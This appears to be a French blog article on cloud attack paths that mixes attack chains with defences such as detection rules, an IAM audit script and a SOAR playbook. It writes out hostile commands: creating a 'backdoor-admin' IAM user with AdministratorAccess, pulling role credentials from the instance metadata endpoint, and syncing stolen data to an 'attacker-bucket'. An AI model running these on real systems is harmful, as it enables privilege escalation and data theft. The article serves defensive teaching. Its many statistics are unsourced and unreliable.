Cloud Attack Paths 2025 : Nouvelles menaces et chemins d'attaque exploitables

Cloud Attack Paths : La nouvelle frontière de la cybermenace

En octobre 2025, les chercheurs en sécurité ont identifié une évolution critique dans les tactiques d'attaque cloud : les Cloud Attack Paths (chemins d'attaque cloud), qui représentent des séquences exploitables permettant aux attaquants de compromettre des environnements cloud entiers à partir de points d'entrée externes.

Ces chemins reflètent des risques réels et exploitables que les adversaires peuvent utiliser pour infiltrer, progresser et compromettre les organisations.

Statistiques alarmantes :

• 87% des entreprises ont au moins 1 chemin d'attaque exploitable dans leur cloud (Q3 2025)
• Temps moyen de compromission : 4,2 heures depuis point d'entrée externe
• 34% des incidents cloud en 2025 utilisent ces chemins d'attaque

Qu'est-ce qu'un Cloud Attack Path ?

Définition et anatomie

Un Cloud Attack Path est une séquence d'étapes qu'un attaquant peut suivre pour :

1. Obtenir accès initial à un environnement cloud
2. Élever ses privilèges
3. Se déplacer latéralement
4. Compromettre ressources critiques (bases de données, secrets, identités)

Exemple de chemin d'attaque réel :

Étape 1 : Phishing employé marketing
├── Vol credentials Office 365
└── Accès boîte mail (permissions limitées)

Étape 2 : Exploitation token Azure AD mal configuré
├── Email contient lien SharePoint avec token SAS
├── Token a permissions excessives (read + write + delete)
└── Accès storage account Azure

Étape 3 : Découverte secrets dans blob storage
├── Fichier config .env contient :
│   ├── AWS_ACCESS_KEY_ID (IAM role EC2)
│   └── DATABASE_CONNECTION_STRING (PostgreSQL RDS)
└── Credentials AWS valides récupérées

Étape 4 : Mouvement latéral vers AWS
├── Connexion AWS avec credentials volées
├── IAM role a permissions AdministratorAccess (misconfiguration)
└── Accès complet infrastructure AWS

Étape 5 : Compromission finale
├── Exfiltration 2.3 TB données clients (RDS)
├── Déploiement ransomware sur EC2 instances
└── Demande rançon 5 millions euros

Durée totale attaque : 6 heures 42 minutes
Point d'entrée : Email phishing
Impact : Compromission complète multi-cloud

Différence avec attaques traditionnelles

Points d'entrée externes critiques

1. Identités cloud compromises

Vecteurs d'attaque :

Credential theft methods :
├── Phishing (58% cas)
│   └── Fake login pages Microsoft 365, AWS Console, Google Workspace
├── Malware infostealer (23% cas)
│   └── RedLine, Vidar, Raccoon (volent tokens navigateur)
├── Credential stuffing (12% cas)
│   └── Réutilisation passwords leakés (haveibeenpwned)
└── MFA fatigue (7% cas)
    └── Spam notifications MFA jusqu'à ce que victime accepte

Statistiques 2025 :

• 2,4 milliards credentials cloud leakées sur dark web (cumul)
• 34% employés réutilisent mot de passe professionnel sur sites personnels
• 78% comptes AWS n'utilisent pas MFA sur root account

Exemple réel : Attaque Uber (rappel 2022, toujours d'actualité 2025) :

1. Attaquant achète credentials contracteur Uber (dark web, 10$)
2. MFA fatigue : Spam notifications jusqu'à acceptation
3. Accès VPN Uber → réseau interne
4. Découverte PowerShell script avec credentials admin
5. Accès Slack, Google Workspace, AWS
6. Compromission complète

Durée : 3 heures
Coût attaquant : 10 dollars
Impact : Centaines millions euros

2. APIs et services publics mal sécurisés

Misconfigurations courantes :

# Exemple : Bucket S3 public exposé
aws s3api get-bucket-acl --bucket company-backups

{
  "Grants": [
    {
      "Grantee": {
        "Type": "Group",
        "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
      },
      "Permission": "READ"  # ← DANGEREUX : Tout le monde peut lire
    }
  ]
}

# Conséquence : Attaquant peut :
# 1. Lister tous fichiers backup
# 2. Télécharger bases de données
# 3. Exfiltrer données sensibles

Statistiques exposition :

• 19% buckets S3 publiquement accessibles (scanner Shodan, oct. 2025)
• 12% APIs Azure sans authentification requise
• 34% databases GCP accessibles depuis Internet (Firewall rules trop permissives)

3. Chaîne d'approvisionnement SaaS

Scénario d'attaque :

Entreprise utilise :
├── Salesforce (CRM)
├── Slack (communication)
├── GitHub (code source)
├── AWS (infrastructure)
└── Datadog (monitoring)

Attaque via supply chain :
1. Compromission plugin Salesforce tiers
   └── Plugin malveillant exfiltre tokens Salesforce
2. Tokens Salesforce donnent accès :
   ├── Données clients (emails, téléphones)
   └── Intégrations SSO (Slack, GitHub via SAML)
3. Exploitation SSO pour accès Slack
   └── Découverte secrets dans channels (AWS keys, DB passwords)
4. Mouvement latéral vers AWS
   └── Compromission infrastructure complète

Statistiques SaaS :

• 73% entreprises utilisent 50+ applications SaaS
• 89% applications SaaS ont accès à au moins 1 autre SaaS (intégrations)
• 23% incidents 2025 impliquent compromission via supply chain SaaS

Techniques de progression dans le cloud

1. Privilege Escalation via IAM misconfiguration

Exemple AWS :

// Politique IAM dangereuse (trop permissive)
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:CreateUser",
        "iam:AttachUserPolicy"
      ],
      "Resource": "*"
    }
  ]
}

// Exploitation :
// 1. Attaquant a compte avec cette politique
// 2. Crée nouvel utilisateur IAM
aws iam create-user --user-name backdoor-admin

// 3. Attache politique AdministratorAccess
aws iam attach-user-policy \
  --user-name backdoor-admin \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

// 4. Privilèges administrateur obtenus (full access AWS)

Détection :

# Règle CloudWatch Events pour détecter escalade privilèges
def detect_privilege_escalation(event):
    suspicious_actions = [
        "iam:CreateUser",
        "iam:AttachUserPolicy",
        "iam:CreateAccessKey",
        "iam:PutUserPolicy"
    ]

    if event["eventName"] in suspicious_actions:
        # Vérifier si user n'est pas admin légitime
        if not is_authorized_admin(event["userIdentity"]):
            alert_security_team({
                "severity": "CRITICAL",
                "message": "Potential privilege escalation detected",
                "user": event["userIdentity"],
                "action": event["eventName"]
            })

2. Lateral Movement entre services cloud

Scénario multi-cloud :

Entrée : Compromission Azure DevOps
├── Pipeline CI/CD contient secrets AWS
│   └── Variables d'environnement : AWS_ACCESS_KEY, AWS_SECRET_KEY
├── Extraction secrets durant build
│   └── Attaquant injecte commande malveillante dans pipeline
└── Mouvement latéral vers AWS

Progression AWS :
├── Accès EC2 instances
├── Découverte Instance Metadata Service (IMDS)
│   └── curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
├── Vol temporary credentials IAM role
└── Élévation privilèges si role mal configuré

Protection IMDS :

# Forcer IMDSv2 (protection contre SSRF)
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

3. Data Exfiltration via services légitimes

Techniques :

Exfiltration via services cloud légitimes (évite détection DLP) :

1. Google Drive/OneDrive :
   ├── Upload données volées vers compte personnel
   ├── Trafic HTTPS chiffré (impossible inspection)
   └── Indiscernable d'usage légitime

2. Cloud Storage publics :
   ├── Création bucket S3 personnel
   ├── aws s3 sync /data/stolen s3://attacker-bucket/
   └── Suppression logs CloudTrail (si permissions)

3. Tunneling DNS :
   ├── Exfiltration données via requêtes DNS
   ├── data.malicious-domain.com (chunk par chunk)
   └── Bypass firewalls (DNS rarement bloqué)

Détection exfiltration :

# Règle SIEM pour détecter exfiltration anormale
def detect_data_exfiltration():
    # Analyse CloudTrail logs AWS
    suspicious_patterns = [
        # Volume upload anormal
        {
            "service": "s3",
            "action": "PutObject",
            "threshold": "100 GB in 1 hour"
        },
        # Téléchargement massif DB
        {
            "service": "rds",
            "action": "DownloadDBSnapshot",
            "condition": "user not in [known_admins]"
        },
        # Sync vers compte externe
        {
            "service": "s3",
            "action": "PutObject",
            "destination": "external_account"
        }
    ]

    for event in cloudtrail_events:
        if matches_pattern(event, suspicious_patterns):
            trigger_alert("Possible data exfiltration", event)

Stratégies de défense

1. Least Privilege et Zero Trust

Principe : Chaque identité a minimum de permissions nécessaires.

Implémentation AWS :

# Script audit permissions excessives
import boto3

def audit_iam_policies():
    iam = boto3.client('iam')

    # Lister tous utilisateurs
    users = iam.list_users()['Users']

    dangerous_policies = [
        'AdministratorAccess',
        'PowerUserAccess',
        '*'  # Wildcard permissions
    ]

    for user in users:
        attached_policies = iam.list_attached_user_policies(
            UserName=user['UserName']
        )

        for policy in attached_policies['AttachedPolicies']:
            if policy['PolicyName'] in dangerous_policies:
                print(f"⚠️  User {user['UserName']} has excessive permissions: {policy['PolicyName']}")

                # Recommandation
                suggest_least_privilege_policy(user, policy)

Résultats audit (entreprise moyenne) :

Avant audit :
├── 34% utilisateurs avec AdministratorAccess
├── 67% service accounts avec permissions wildcard (*)
└── 89% IAM roles jamais révisées depuis création

Après implémentation Least Privilege :
├── 3% utilisateurs admin (réduction 91%)
├── 12% service accounts avec permissions ciblées
└── Revue trimestrielle automatisée

2. Detection des Attack Paths

Outils spécialisés :

Cloud Security Posture Management (CSPM) :
├── Wiz (leader 2025)
│   ├── Graph analysis : Visualise tous chemins d'attaque
│   ├── Risk prioritization : Score 1-100 par path
│   └── Remediation automatique : Fix misconfigurations
├── Orca Security
│   ├── Agentless scanning : Pas besoin installer agents
│   ├── Multi-cloud : AWS + Azure + GCP + Kubernetes
│   └── SideScanning : Analyse depuis cloud provider
└── Lacework
    ├── Behavioral analysis : Détecte déviations baseline
    ├── Anomaly detection : ML-powered
    └── Threat intelligence : Corrélation IoCs

Exemple détection Wiz :

🔴 CRITICAL ATTACK PATH DETECTED

Path ID: AP-2025-10-18-001
Risk Score: 98/100

Entry Point:
└─ Public S3 Bucket: company-logs
   ├─ Contains: AWS credentials in .env file
   └─ Accessible: Anyone on Internet

Privilege Escalation:
└─ IAM User: ci-cd-deployer
   ├─ Credentials exposed in bucket
   ├─ Attached policy: PowerUserAccess
   └─ Can assume role: production-admin

Lateral Movement:
└─ IAM Role: production-admin
   ├─ Permissions: Full EC2, RDS, S3 access
   ├─ Can access: Production databases (PII, PCI data)
   └─ Can modify: Security groups, NACLs

Impact:
├─ Data at risk: 2.3 TB customer data
├─ Compliance: GDPR, PCI-DSS violations
└─ Business impact: $4.2M estimated (regulatory fines)

Remediation:
1. Remove public access from S3 bucket (URGENT)
2. Rotate exposed AWS credentials
3. Review and restrict PowerUserAccess policy
4. Implement MFA for production-admin role

3. Network Segmentation et Microsegmentation

Architecture Zero Trust Network :

Traditional Cloud Network (flat) :
├── All VMs can communicate with all VMs
├── Compromise 1 VM = Lateral movement facile
└─ ❌ DANGEREUX

Zero Trust Microsegmentation :
├── Each workload in isolated segment
├── Default deny all traffic
├── Explicit allow rules only
└─ ✅ SECURE

Exemple AWS avec Security Groups :
Production VPC
├── Web Tier SG
│   ├─ Inbound: 443 from ALB only
│   └─ Outbound: 3000 to App Tier only
├── App Tier SG
│   ├─ Inbound: 3000 from Web Tier only
│   └─ Outbound: 5432 to DB Tier only
└── DB Tier SG
    ├─ Inbound: 5432 from App Tier only
    └─ Outbound: None (isolated)

Outils microsegmentation :

• AWS Network Firewall : Inspection trafic stateful/stateless
• Azure Firewall : Threat intelligence integration
• Calico (Kubernetes) : Network policies granulaires
• Illumio : Adaptive segmentation multi-cloud

4. Continuous Monitoring et Response

SIEM Cloud-Native :

# Architecture monitoring cloud
class CloudSecurityMonitoring:
    def __init__(self):
        self.log_aggregators = [
            AWSCloudTrail(),
            AzureActivityLog(),
            GCPCloudAuditLogs(),
            KubernetesAuditLogs()
        ]

        self.siem = SplunkCloud()  # ou Microsoft Sentinel, Sumo Logic
        self.soar = PaloAltoXSOAR()

    def monitor_attack_paths(self):
        # Corrélation events multi-cloud
        events = self.aggregate_logs()

        # Détection patterns d'attaque
        attack_indicators = [
            self.detect_privilege_escalation(events),
            self.detect_lateral_movement(events),
            self.detect_data_exfiltration(events),
            self.detect_credential_theft(events)
        ]

        # Réponse automatisée
        for indicator in attack_indicators:
            if indicator.severity == "CRITICAL":
                self.soar.execute_playbook("isolate_compromised_account", indicator)

Playbook SOAR exemple :

# Playbook: Isolation compte compromis
name: Isolate Compromised Account
trigger: High-confidence credential theft detected

steps:
  - name: Disable compromised account
    action: AWS.IAM.DisableUser
    params:
      username: ${alert.user}

  - name: Revoke all sessions
    action: AWS.IAM.DeleteAccessKey
    params:
      username: ${alert.user}

  - name: Snapshot environment
    action: AWS.EC2.CreateSnapshot
    params:
      all_volumes: true

  - name: Notify security team
    action: Slack.SendMessage
    params:
      channel: "#security-incidents"
      message: "🚨 Account ${alert.user} isolated due to compromise"

  - name: Create forensic investigation case
    action: Jira.CreateTicket
    params:
      project: SECURITY
      priority: P0

Cas d'usage réels 2025

Incident 1 : FinTech européenne (juin 2025)

Timeline :

J-30 : Phishing employé RH (vol credentials Okta)
J-15 : Accès Okta → SSO vers AWS Console
J-10 : Découverte S3 bucket avec secrets Terraform
J-5  : Mouvement latéral vers production AWS account
J-0  : Exfiltration 1.2 TB données clients (noms, IBANs)

Découverte : J+3 (client signale transactions suspectes)
Impact : 280 000 clients affectés
Coût : 18 millions euros (amendes GDPR + remédiation)

Root cause :

• MFA non obligatoire sur Okta
• Bucket S3 accessible depuis dev account (cross-account policy trop permissive)
• Pas de monitoring exfiltration données

Incident 2 : Retailer US (septembre 2025)

Timeline :

H+0  : Exploitation vulnérabilité Log4Shell sur app legacy
H+2  : Shell reverse sur EC2 instance
H+3  : Extraction IAM role credentials via IMDS
H+6  : Élévation privilèges (IAM role avait iam:PassRole)
H+12 : Déploiement ransomware sur 400 EC2 instances

Découverte : H+14 (monitoring détecte CPU spike anormal)
Impact : 72 heures downtime e-commerce
Coût : 45 millions dollars (pertes ventes + rançon payée)

Root cause :

• Application non patchée (Log4Shell connu depuis 2021)
• IMDSv1 utilisé (vulnérable SSRF)
• IAM role trop permissif (violation least privilege)

Articles connexes

Pour approfondir le sujet, consultez également ces articles :

• ANSSI : Formation gratuite en cybersécurité avec certification officielle (octobre 2025)
• 45% des entreprises victimes d'attaques de supply chain d'ici fin 2025
• Cyberattaques basées sur l'IA : La menace explose en 2025

Conclusion : Sécuriser l'ère du cloud hybride

Les Cloud Attack Paths représentent l'évolution naturelle des cybermenaces dans un monde multi-cloud. La sécurité périmétrique traditionnelle est obsolète ; le nouveau paradigme est Zero Trust + Least Privilege + Continuous Monitoring.

Actions prioritaires 2025-2026 :

1. Audit attack paths : Identifier chemins exploitables (outils CSPM)
2. Least privilege : Réduire permissions IAM à minimum strict
3. Monitoring : Déployer SIEM cloud-native avec détection temps réel
4. Incident response : Playbooks automatisés (SOAR)

Réflexion : Le cloud n'est pas intrinsèquement moins sûr que on-premise, mais il exige une approche sécurité radicalement différente. Les entreprises qui s'adaptent prospèrent ; celles qui appliquent modèles legacy se font compromettre.

Ressources :

• MITRE ATT&CK Cloud Matrix : https://attack.mitre.org/matrices/enterprise/cloud/
• AWS Security Best Practices : https://aws.amazon.com/security/best-practices/
• Wiz Cloud Security : https://www.wiz.io/